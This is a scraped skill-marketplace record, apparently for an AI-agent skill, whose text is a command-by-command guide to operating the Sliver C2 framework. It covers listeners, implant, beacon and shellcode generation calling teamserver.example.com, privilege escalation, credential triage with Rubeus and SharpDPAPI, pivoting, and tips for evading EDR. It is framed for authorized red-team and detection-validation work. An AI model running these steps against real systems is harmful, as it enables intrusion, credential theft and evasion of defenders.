[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFJ7BGEDEHCWVN69XBERDC":3,"skill-same:01M6AFJ7BGEDEHCWVN69XBERDC":100},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":42,"linkOnly":43,"markdownContent":44,"markdownBody":45,"frontMatter":46,"refName":55,"commitSha":56,"skillDirectory":57,"forksCount":58,"repositoryHtmlUrl":59,"repositoryHomepageUrl":60,"ownerHtmlUrl":61,"ownerBlogUrl":62,"ownerDescription":63,"updatedAt":64,"install":65,"resources":78},"01M6AFJ7BGEDEHCWVN69XBERDC","operating-sliver-c2",null,"Stand up a Sliver C2 server and mTLS listeners, generate cross-platform implants and beacons, and run post-exploitation, pivoting, and BOF\u002F.NET tooling via the Armory for adversary emulation. Use during authorized, rules-of-engagement-bound red-team engagements that need a full open-source C2 lifecycle spanning server setup, implant generation, and post-exploitation tradecraft.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Foperating-sliver-c2\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41],"operating sliver c2","c2","sliver","pivoting","implant","mtls","lifecycle","rules-of-engagement","exploitation","adversary-emulation","cybersecurity","command-and-control","post-exploitation","red-team","server","run","generate","setup","2026-11-10 10:12:30",false,"---\nname: operating-sliver-c2\ndescription: Stand up a Sliver C2 server and mTLS listeners, generate cross-platform implants and beacons, and run post-exploitation, pivoting, and BOF\u002F.NET tooling via the Armory for adversary emulation. Use during authorized, rules-of-engagement-bound red-team engagements that need a full open-source C2 lifecycle spanning server setup, implant generation, and post-exploitation tradecraft.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- command-and-control\n- sliver\n- adversary-emulation\n- implant\n- post-exploitation\n- pivoting\n- mtls\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1071.001\n---\n# Operating Sliver C2\n\n> **Legal Notice:** This skill is for authorized security testing, red-team engagements, and educational purposes only. Operating a command-and-control framework against systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud, wiretap, and abuse statutes. Always work within a signed rules-of-engagement document.\n\n## Overview\n\nSliver is an open-source, cross-platform adversary emulation and command-and-control (C2) framework developed by BishopFox (https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fsliver). It is written in Go and is widely used by red teams as a modern, open alternative to commercial frameworks such as Cobalt Strike. Sliver supports two implant interaction models: **sessions** (interactive, real-time) and **beacons** (asynchronous check-in with configurable jitter), and it speaks C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Each implant is dynamically compiled with per-binary, asymmetric encryption keys, so no two implants share static signatures.\n\nSliver also ships an **armory** — an alias and extension package manager that installs third-party tooling such as Beacon Object Files (BOFs) and .NET assemblies (e.g., `sharpdpapi`, `seatbelt`, `rubeus`) for in-memory execution. Because Sliver has been adopted by real threat actors (documented by Cybereason, Microsoft, and others), exercising it during sanctioned engagements is valuable both for emulating realistic adversary tradecraft and for validating that defensive controls (EDR, network detection, DNS monitoring) catch its C2 channels. This skill covers deploying the server, generating implants, managing listeners, running post-exploitation, and pivoting through compromised hosts.\n\n## When to Use\n\n- When conducting an authorized red-team engagement that requires a resilient, multi-protocol C2 channel\n- When emulating a specific threat actor's TTPs that include Sliver (per CTI reporting) during a purple-team exercise\n- When validating that EDR and network monitoring detect mTLS\u002FHTTPS\u002FDNS beaconing\n- When demonstrating post-exploitation and lateral movement impact for a report\n\n## Prerequisites\n\n- A dedicated Linux redirector\u002Fteam-server host (Sliver server runs on Linux\u002FmacOS\u002FWindows; Linux is standard)\n- Root or sudo for binding privileged ports (443\u002F53) and installing the multiplayer daemon\n- Outbound\u002Finbound network reachability matching the chosen C2 protocol\n- Familiarity with Active Directory and post-exploitation concepts\n- Signed authorization \u002F rules of engagement\n\nInstall Sliver server with the official one-liner, or download release binaries:\n\n```bash\n# Official installer (downloads latest sliver-server + client)\ncurl https:\u002F\u002Fsliver.sh\u002Finstall | sudo bash\n\n# Or download specific release binaries from GitHub\nwget https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fsliver\u002Freleases\u002Flatest\u002Fdownload\u002Fsliver-server_linux\nwget https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fsliver\u002Freleases\u002Flatest\u002Fdownload\u002Fsliver-client_linux\nchmod +x sliver-server_linux sliver-client_linux\n```\n\n## Objectives\n\n- Launch the Sliver server console and operate in single- or multiplayer mode\n- Start mTLS, HTTPS, and DNS C2 listeners\n- Generate session and beacon implants for multiple OS\u002Farchitectures\n- Stage implants and host them for delivery\n- Interact with callbacks, run post-exploitation, and dump credentials\n- Install and run armory extensions (BOFs and .NET assemblies)\n- Pivot through a compromised host into segmented networks\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Use in this skill |\n|----|-----------|-------------------|\n| T1071.001 | Application Layer Protocol: Web Protocols | Sliver HTTP(S) C2 listeners blend implant traffic with normal web traffic |\n\nRelated techniques exercised by the workflow:\n\n| ID | Technique |\n|----|-----------|\n| T1572 | Protocol Tunneling (WireGuard \u002F pivot tunnels) |\n| T1090.001 | Internal Proxy (Sliver pivots) |\n| T1059 | Command and Scripting Interpreter (implant execute-assembly \u002F shell) |\n| T1620 | Reflective Code Loading (in-memory .NET execution) |\n\n## Workflow\n\n### Step 1: Start the Sliver server console\n\nRun the server interactively to get the operator console:\n\n```bash\nsudo .\u002Fsliver-server\n```\n\nInside the `sliver >` console, confirm version and view help:\n\n```\nsliver > version\nsliver > help\n```\n\n### Step 2: (Optional) Configure multiplayer for a team\n\nOn the server, generate an operator config and start the multiplayer listener:\n\n```\nsliver > new-operator --name operator1 --lhost teamserver.example.com --save .\u002Foperator1.cfg\nsliver > multiplayer --lport 31337\n```\n\nDistribute `operator1.cfg` to teammates, who import it with the standalone client:\n\n```bash\n.\u002Fsliver-client import .\u002Foperator1.cfg\n.\u002Fsliver-client\n```\n\n### Step 3: Start C2 listeners\n\nStart one or more listeners. mTLS is the most robust; HTTPS blends with web traffic; DNS is the stealthiest egress for restrictive networks:\n\n```\n# Mutual TLS listener on 443\nsliver > mtls --lport 443\n\n# HTTPS listener (serves on 443 by default; supports custom certs)\nsliver > https --lport 443\n\n# Plain HTTP (useful behind a TLS-terminating redirector)\nsliver > http --lport 80\n\n# DNS listener for a delegated zone you control\nsliver > dns --domains c2.example.com. --lport 53\n\n# View running listeners \u002F background jobs\nsliver > jobs\n```\n\n### Step 4: Generate implants\n\nGenerate a session implant pointing at your mTLS endpoint:\n\n```\nsliver > generate --mtls teamserver.example.com:443 --os windows --arch amd64 --format exe --save \u002Ftmp\u002F\n```\n\nGenerate a **beacon** with jitter for asynchronous, lower-noise operation:\n\n```\nsliver > generate beacon --mtls teamserver.example.com:443 --os windows --arch amd64 --seconds 60 --jitter 30 --save \u002Ftmp\u002F\n```\n\nOther useful formats and channels:\n\n```\n# HTTPS beacon, shellcode format for injection\nsliver > generate beacon --http teamserver.example.com --os windows --arch amd64 --format shellcode --save \u002Ftmp\u002F\n\n# DNS implant for egress-restricted targets\nsliver > generate --dns c2.example.com. --os windows --format exe --save \u002Ftmp\u002F\n\n# Linux\u002FmacOS ELF\u002FMach-O implants\nsliver > generate --mtls teamserver.example.com:443 --os linux --arch amd64 --format elf --save \u002Ftmp\u002F\n\n# List and remove generated implant builds\nsliver > implants\nsliver > implants rm IMPLANT_NAME\n```\n\n### Step 5: Stage implants (optional)\n\nHost a stager for size-constrained delivery. First start a stage listener, then generate a matching stager:\n\n```\nsliver > profiles new --mtls teamserver.example.com:443 --format shellcode --os windows --arch amd64 win-stage\nsliver > stage-listener --url tcp:\u002F\u002Fteamserver.example.com:8443 --profile win-stage\nsliver > generate stager --lhost teamserver.example.com --lport 8443 --arch amd64 --format c\n```\n\n### Step 6: Interact with callbacks\n\nWhen an implant calls back, list and select it:\n\n```\n# Interactive sessions\nsliver > sessions\nsliver > use SESSION_ID\n\n# Asynchronous beacons\nsliver > beacons\nsliver > use BEACON_ID\n```\n\nInside an interactive session run core post-exploitation commands:\n\n```\nsliver (SESSION) > info\nsliver (SESSION) > whoami\nsliver (SESSION) > getprivs\nsliver (SESSION) > ls\nsliver (SESSION) > netstat\nsliver (SESSION) > ps -T            # show injected\u002Fprotected processes\nsliver (SESSION) > screenshot\nsliver (SESSION) > execute -o whoami \u002Fall\n```\n\nGet a system shell or run a command without spawning a noisy cmd.exe:\n\n```\nsliver (SESSION) > shell            # full interactive shell (noisy; use sparingly)\nsliver (SESSION) > execute -o ipconfig \u002Fall\n```\n\n### Step 7: Privilege escalation and credential access\n\n```\n# Migrate into another process \u002F impersonate\nsliver (SESSION) > migrate PID\nsliver (SESSION) > make-token -u DOMAIN\\\\user -p Password123\nsliver (SESSION) > getsystem        # attempt SYSTEM via service\u002Fnamed-pipe\n\n# Run .NET tooling in memory (after armory install, see Step 8)\nsliver (SESSION) > rubeus triage\nsliver (SESSION) > seatbelt -group=system\n```\n\n### Step 8: Install and run armory extensions\n\nThe armory installs BOFs and .NET assemblies for in-memory use:\n\n```\nsliver > armory                     # list available packages\nsliver > armory install all         # or: armory install rubeus \u002F sharpdpapi \u002F etc.\nsliver > armory update\n```\n\nOnce installed, the alias\u002Fextension is available inside a session as a first-class command:\n\n```\nsliver (SESSION) > sharp-dpapi triage\nsliver (SESSION) > sa-whoami        # SA = situational awareness BOFs\nsliver (SESSION) > inline-execute-assembly \u002Fopt\u002Ftools\u002FSeatbelt.exe -group=all\n```\n\n### Step 9: Pivot into segmented networks\n\nSliver supports named-pipe and TCP pivots plus SOCKS\u002Fport-forwarding for tooling:\n\n```\n# Start a SOCKS5 proxy over the implant for proxychains-driven tools\nsliver (SESSION) > socks5 start --port 1081\n\n# Local\u002Freverse port forwards\nsliver (SESSION) > portfwd add --bind 127.0.0.1:3389 --remote 10.0.5.20:3389\n\n# TCP pivot listener on the beachhead so deeper implants chain through it\nsliver (SESSION) > pivots tcp --bind 0.0.0.0:9898\nsliver > generate --tcp-pivot 10.0.5.10:9898 --os windows --format exe --save \u002Ftmp\u002F\nsliver (SESSION) > pivots                # list active pivot graph\n```\n\n### Step 10: Clean up\n\nRemove implants, close sessions, and stop listeners at engagement end:\n\n```\nsliver (SESSION) > kill              # terminate the implant cleanly\nsliver > jobs -k JOB_ID             # stop a specific listener\nsliver > implants rm IMPLANT_NAME\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Sliver (BishopFox) | C2 framework source and releases | https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fsliver |\n| Sliver Wiki | Official documentation | https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fsliver\u002Fwiki |\n| Sliver docs site | Migrated docs | https:\u002F\u002Fsliver.sh\u002Fdocs |\n| Sliver Armory | Extension\u002Falias package index | https:\u002F\u002Fgithub.com\u002Fsliverarmory |\n| MITRE ATT&CK T1071.001 | Web Protocols technique | https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1071\u002F001\u002F |\n\n## OPSEC and Detection Considerations\n\n| Channel | Blends with | Defender detection opportunity |\n|---------|-------------|-------------------------------|\n| mTLS (443) | TLS traffic | JA3\u002FJA3S fingerprinting, self-signed cert anomalies |\n| HTTPS | Web browsing | Beaconing periodicity, URI\u002FUser-Agent profiling |\n| DNS | DNS resolution | High-entropy\u002Flong subdomain queries, TXT volume |\n| WireGuard | VPN traffic | Unexpected UDP tunnels from workstations |\n\n- Prefer **beacons with jitter** over interactive sessions to reduce timing regularity.\n- Avoid `shell` — it spawns `cmd.exe`\u002F`powershell.exe` children that EDR flags; prefer `execute` and inline assemblies.\n- Use redirectors (nginx\u002FApache) in front of HTTP(S) listeners so the team server IP is never exposed.\n\n## Validation Criteria\n\n- [ ] Sliver server console launches and `version` reports the installed build\n- [ ] At least one listener (mTLS\u002FHTTPS\u002FDNS) is running and visible in `jobs`\n- [ ] A session implant and a beacon implant are generated for the target OS\u002Farch\n- [ ] An implant calls back and appears in `sessions`\u002F`beacons`\n- [ ] Post-exploitation commands (`info`, `whoami`, `screenshot`) execute successfully\n- [ ] An armory extension is installed and executed in-memory\n- [ ] A SOCKS proxy or port-forward is established for pivoting\n- [ ] Implants killed, listeners stopped, and artifacts removed at cleanup\n","# Operating Sliver C2\n\n> **Legal Notice:** This skill is for authorized security testing, red-team engagements, and educational purposes only. Operating a command-and-control framework against systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud, wiretap, and abuse statutes. Always work within a signed rules-of-engagement document.\n\n## Overview\n\nSliver is an open-source, cross-platform adversary emulation and command-and-control (C2) framework developed by BishopFox (https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fsliver). It is written in Go and is widely used by red teams as a modern, open alternative to commercial frameworks such as Cobalt Strike. Sliver supports two implant interaction models: **sessions** (interactive, real-time) and **beacons** (asynchronous check-in with configurable jitter), and it speaks C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Each implant is dynamically compiled with per-binary, asymmetric encryption keys, so no two implants share static signatures.\n\nSliver also ships an **armory** — an alias and extension package manager that installs third-party tooling such as Beacon Object Files (BOFs) and .NET assemblies (e.g., `sharpdpapi`, `seatbelt`, `rubeus`) for in-memory execution. Because Sliver has been adopted by real threat actors (documented by Cybereason, Microsoft, and others), exercising it during sanctioned engagements is valuable both for emulating realistic adversary tradecraft and for validating that defensive controls (EDR, network detection, DNS monitoring) catch its C2 channels. This skill covers deploying the server, generating implants, managing listeners, running post-exploitation, and pivoting through compromised hosts.\n\n## When to Use\n\n- When conducting an authorized red-team engagement that requires a resilient, multi-protocol C2 channel\n- When emulating a specific threat actor's TTPs that include Sliver (per CTI reporting) during a purple-team exercise\n- When validating that EDR and network monitoring detect mTLS\u002FHTTPS\u002FDNS beaconing\n- When demonstrating post-exploitation and lateral movement impact for a report\n\n## Prerequisites\n\n- A dedicated Linux redirector\u002Fteam-server host (Sliver server runs on Linux\u002FmacOS\u002FWindows; Linux is standard)\n- Root or sudo for binding privileged ports (443\u002F53) and installing the multiplayer daemon\n- Outbound\u002Finbound network reachability matching the chosen C2 protocol\n- Familiarity with Active Directory and post-exploitation concepts\n- Signed authorization \u002F rules of engagement\n\nInstall Sliver server with the official one-liner, or download release binaries:\n\n```bash\n# Official installer (downloads latest sliver-server + client)\ncurl https:\u002F\u002Fsliver.sh\u002Finstall | sudo bash\n\n# Or download specific release binaries from GitHub\nwget https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fsliver\u002Freleases\u002Flatest\u002Fdownload\u002Fsliver-server_linux\nwget https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fsliver\u002Freleases\u002Flatest\u002Fdownload\u002Fsliver-client_linux\nchmod +x sliver-server_linux sliver-client_linux\n```\n\n## Objectives\n\n- Launch the Sliver server console and operate in single- or multiplayer mode\n- Start mTLS, HTTPS, and DNS C2 listeners\n- Generate session and beacon implants for multiple OS\u002Farchitectures\n- Stage implants and host them for delivery\n- Interact with callbacks, run post-exploitation, and dump credentials\n- Install and run armory extensions (BOFs and .NET assemblies)\n- Pivot through a compromised host into segmented networks\n\n## MITRE ATT&CK Mapping\n\n| ID | Technique | Use in this skill |\n|----|-----------|-------------------|\n| T1071.001 | Application Layer Protocol: Web Protocols | Sliver HTTP(S) C2 listeners blend implant traffic with normal web traffic |\n\nRelated techniques exercised by the workflow:\n\n| ID | Technique |\n|----|-----------|\n| T1572 | Protocol Tunneling (WireGuard \u002F pivot tunnels) |\n| T1090.001 | Internal Proxy (Sliver pivots) |\n| T1059 | Command and Scripting Interpreter (implant execute-assembly \u002F shell) |\n| T1620 | Reflective Code Loading (in-memory .NET execution) |\n\n## Workflow\n\n### Step 1: Start the Sliver server console\n\nRun the server interactively to get the operator console:\n\n```bash\nsudo .\u002Fsliver-server\n```\n\nInside the `sliver >` console, confirm version and view help:\n\n```\nsliver > version\nsliver > help\n```\n\n### Step 2: (Optional) Configure multiplayer for a team\n\nOn the server, generate an operator config and start the multiplayer listener:\n\n```\nsliver > new-operator --name operator1 --lhost teamserver.example.com --save .\u002Foperator1.cfg\nsliver > multiplayer --lport 31337\n```\n\nDistribute `operator1.cfg` to teammates, who import it with the standalone client:\n\n```bash\n.\u002Fsliver-client import .\u002Foperator1.cfg\n.\u002Fsliver-client\n```\n\n### Step 3: Start C2 listeners\n\nStart one or more listeners. mTLS is the most robust; HTTPS blends with web traffic; DNS is the stealthiest egress for restrictive networks:\n\n```\n# Mutual TLS listener on 443\nsliver > mtls --lport 443\n\n# HTTPS listener (serves on 443 by default; supports custom certs)\nsliver > https --lport 443\n\n# Plain HTTP (useful behind a TLS-terminating redirector)\nsliver > http --lport 80\n\n# DNS listener for a delegated zone you control\nsliver > dns --domains c2.example.com. --lport 53\n\n# View running listeners \u002F background jobs\nsliver > jobs\n```\n\n### Step 4: Generate implants\n\nGenerate a session implant pointing at your mTLS endpoint:\n\n```\nsliver > generate --mtls teamserver.example.com:443 --os windows --arch amd64 --format exe --save \u002Ftmp\u002F\n```\n\nGenerate a **beacon** with jitter for asynchronous, lower-noise operation:\n\n```\nsliver > generate beacon --mtls teamserver.example.com:443 --os windows --arch amd64 --seconds 60 --jitter 30 --save \u002Ftmp\u002F\n```\n\nOther useful formats and channels:\n\n```\n# HTTPS beacon, shellcode format for injection\nsliver > generate beacon --http teamserver.example.com --os windows --arch amd64 --format shellcode --save \u002Ftmp\u002F\n\n# DNS implant for egress-restricted targets\nsliver > generate --dns c2.example.com. --os windows --format exe --save \u002Ftmp\u002F\n\n# Linux\u002FmacOS ELF\u002FMach-O implants\nsliver > generate --mtls teamserver.example.com:443 --os linux --arch amd64 --format elf --save \u002Ftmp\u002F\n\n# List and remove generated implant builds\nsliver > implants\nsliver > implants rm IMPLANT_NAME\n```\n\n### Step 5: Stage implants (optional)\n\nHost a stager for size-constrained delivery. First start a stage listener, then generate a matching stager:\n\n```\nsliver > profiles new --mtls teamserver.example.com:443 --format shellcode --os windows --arch amd64 win-stage\nsliver > stage-listener --url tcp:\u002F\u002Fteamserver.example.com:8443 --profile win-stage\nsliver > generate stager --lhost teamserver.example.com --lport 8443 --arch amd64 --format c\n```\n\n### Step 6: Interact with callbacks\n\nWhen an implant calls back, list and select it:\n\n```\n# Interactive sessions\nsliver > sessions\nsliver > use SESSION_ID\n\n# Asynchronous beacons\nsliver > beacons\nsliver > use BEACON_ID\n```\n\nInside an interactive session run core post-exploitation commands:\n\n```\nsliver (SESSION) > info\nsliver (SESSION) > whoami\nsliver (SESSION) > getprivs\nsliver (SESSION) > ls\nsliver (SESSION) > netstat\nsliver (SESSION) > ps -T            # show injected\u002Fprotected processes\nsliver (SESSION) > screenshot\nsliver (SESSION) > execute -o whoami \u002Fall\n```\n\nGet a system shell or run a command without spawning a noisy cmd.exe:\n\n```\nsliver (SESSION) > shell            # full interactive shell (noisy; use sparingly)\nsliver (SESSION) > execute -o ipconfig \u002Fall\n```\n\n### Step 7: Privilege escalation and credential access\n\n```\n# Migrate into another process \u002F impersonate\nsliver (SESSION) > migrate PID\nsliver (SESSION) > make-token -u DOMAIN\\\\user -p Password123\nsliver (SESSION) > getsystem        # attempt SYSTEM via service\u002Fnamed-pipe\n\n# Run .NET tooling in memory (after armory install, see Step 8)\nsliver (SESSION) > rubeus triage\nsliver (SESSION) > seatbelt -group=system\n```\n\n### Step 8: Install and run armory extensions\n\nThe armory installs BOFs and .NET assemblies for in-memory use:\n\n```\nsliver > armory                     # list available packages\nsliver > armory install all         # or: armory install rubeus \u002F sharpdpapi \u002F etc.\nsliver > armory update\n```\n\nOnce installed, the alias\u002Fextension is available inside a session as a first-class command:\n\n```\nsliver (SESSION) > sharp-dpapi triage\nsliver (SESSION) > sa-whoami        # SA = situational awareness BOFs\nsliver (SESSION) > inline-execute-assembly \u002Fopt\u002Ftools\u002FSeatbelt.exe -group=all\n```\n\n### Step 9: Pivot into segmented networks\n\nSliver supports named-pipe and TCP pivots plus SOCKS\u002Fport-forwarding for tooling:\n\n```\n# Start a SOCKS5 proxy over the implant for proxychains-driven tools\nsliver (SESSION) > socks5 start --port 1081\n\n# Local\u002Freverse port forwards\nsliver (SESSION) > portfwd add --bind 127.0.0.1:3389 --remote 10.0.5.20:3389\n\n# TCP pivot listener on the beachhead so deeper implants chain through it\nsliver (SESSION) > pivots tcp --bind 0.0.0.0:9898\nsliver > generate --tcp-pivot 10.0.5.10:9898 --os windows --format exe --save \u002Ftmp\u002F\nsliver (SESSION) > pivots                # list active pivot graph\n```\n\n### Step 10: Clean up\n\nRemove implants, close sessions, and stop listeners at engagement end:\n\n```\nsliver (SESSION) > kill              # terminate the implant cleanly\nsliver > jobs -k JOB_ID             # stop a specific listener\nsliver > implants rm IMPLANT_NAME\n```\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Sliver (BishopFox) | C2 framework source and releases | https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fsliver |\n| Sliver Wiki | Official documentation | https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fsliver\u002Fwiki |\n| Sliver docs site | Migrated docs | https:\u002F\u002Fsliver.sh\u002Fdocs |\n| Sliver Armory | Extension\u002Falias package index | https:\u002F\u002Fgithub.com\u002Fsliverarmory |\n| MITRE ATT&CK T1071.001 | Web Protocols technique | https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1071\u002F001\u002F |\n\n## OPSEC and Detection Considerations\n\n| Channel | Blends with | Defender detection opportunity |\n|---------|-------------|-------------------------------|\n| mTLS (443) | TLS traffic | JA3\u002FJA3S fingerprinting, self-signed cert anomalies |\n| HTTPS | Web browsing | Beaconing periodicity, URI\u002FUser-Agent profiling |\n| DNS | DNS resolution | High-entropy\u002Flong subdomain queries, TXT volume |\n| WireGuard | VPN traffic | Unexpected UDP tunnels from workstations |\n\n- Prefer **beacons with jitter** over interactive sessions to reduce timing regularity.\n- Avoid `shell` — it spawns `cmd.exe`\u002F`powershell.exe` children that EDR flags; prefer `execute` and inline assemblies.\n- Use redirectors (nginx\u002FApache) in front of HTTP(S) listeners so the team server IP is never exposed.\n\n## Validation Criteria\n\n- [ ] Sliver server console launches and `version` reports the installed build\n- [ ] At least one listener (mTLS\u002FHTTPS\u002FDNS) is running and visible in `jobs`\n- [ ] A session implant and a beacon implant are generated for the target OS\u002Farch\n- [ ] An implant calls back and appears in `sessions`\u002F`beacons`\n- [ ] Post-exploitation commands (`info`, `whoami`, `screenshot`) execute successfully\n- [ ] An armory extension is installed and executed in-memory\n- [ ] A SOCKS proxy or port-forward is established for pivoting\n- [ ] Implants killed, listeners stopped, and artifacts removed at cleanup\n",{"name":5,"tags":47,"author":48,"domain":34,"license":15,"version":49,"nist_csf":50,"subdomain":52,"description":7,"mitre_attack":53},[37,35,26,33,28,36,27,29],"mahipal","1.0",[51],"DE.CM-01","red-teaming",[54],"T1071.001","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Foperating-sliver-c2",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":66,"prompt":76,"zipAvailable":77},[67,70,73],{"tool":68,"command":69},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill operating-sliver-c2",{"tool":71,"command":72},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill operating-sliver-c2",{"tool":74,"command":75},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill operating-sliver-c2","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Foperating-sliver-c2\u002FSKILL.md",true,[79,84,90,94],{"path":80,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Foperating-sliver-c2\u002FLICENSE",{"path":85,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":88,"sourceHtmlUrl":89},"references\u002Fapi-reference.md","REFERENCE","参考文档",3426,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Foperating-sliver-c2\u002Freferences\u002Fapi-reference.md",{"path":91,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":92,"sourceHtmlUrl":93},"references\u002Fstandards.md",1429,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Foperating-sliver-c2\u002Freferences\u002Fstandards.md",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"scripts\u002Fagent.py","SCRIPT","脚本",6492,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Foperating-sliver-c2\u002Fscripts\u002Fagent.py",[101,128,152,180,206,233],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":105,"categories":106,"keywords":108,"publishedAt":42},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[107],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[109,110,111,112,113,34,114,115,116,117,118,119,120,121,122,123,124,125,126,127],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":129,"name":130,"nameZh":6,"description":131,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":132,"categories":133,"keywords":135,"publishedAt":42},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[134],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[136,124,137,138,113,139,34,116,140,141,142,143,144,145,146,147,148,149,150,151],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":153,"name":154,"nameZh":6,"description":155,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":156,"categories":157,"keywords":162,"publishedAt":42},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or 